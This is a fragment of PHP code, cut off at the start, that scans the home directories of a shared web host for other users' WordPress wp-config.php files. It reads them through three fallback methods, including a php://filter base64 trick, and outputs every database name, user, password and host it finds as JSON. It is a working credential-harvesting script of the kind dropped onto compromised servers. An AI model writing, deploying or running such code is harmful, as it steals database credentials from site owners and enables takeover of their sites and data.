[],'meta'=>[]]; function ex($t){ if(!$t||strpos($t,'DB_NAME')===false)return null; $o=['pfx'=>'wp_']; foreach(['DB_NAME'=>'db','DB_USER'=>'dbu','DB_PASSWORD'=>'dbp','DB_HOST'=>'dbhost'] as $k=>$f){ if(preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"]([^'\"]*)['\"]/",$t,$m))$o[$f]=$m[1]; } if(preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/",$t,$m))$o['pfx']=$m[1]; return !empty($o['db'])?$o:null; } function grab($src,&$R){ foreach(['direct','copy','filter'] as $m){ $c=null; if($m==='direct')$c=@file_get_contents($src); elseif($m==='copy'){$t='/tmp/nx'.md5($src);@unlink($t);if(@copy($src,$t)){$c=@file_get_contents($t);@unlink($t);}} else{$b=@file_get_contents('php://filter/read=convert.base64-encode/resource='.$src);if($b)$c=base64_decode($b);} if($c&&ex($c)){foreach($R['configs'] as $x){if(($x['cfg']['db']??'')===ex($c)['db'])return;} $R['configs'][]=['path'=>$src,'method'=>$m,'cfg'=>ex($c)];return;} } } $paths=[]; foreach(['/home','/home1','/home2','/home3'] as $hr){ if(!is_dir($hr))continue; foreach(glob($hr.'/*',GLOB_ONLYDIR)?:[] as $u){ foreach(['public_html/wp-config.php','www/wp-config.php','domains/*/public_html/wp-config.php'] as $pat){ if(strpos($pat,'*')!==false){foreach(glob($u.'/'.$pat)?:[] as $g)$paths[]=$g;} else $paths[]=$u.'/'.$pat; } } } $paths=array_unique($paths); $R['meta']['candidates']=count($paths); foreach(array_slice($paths,0,250) as $p) grab($p,$R); echo json_encode($R);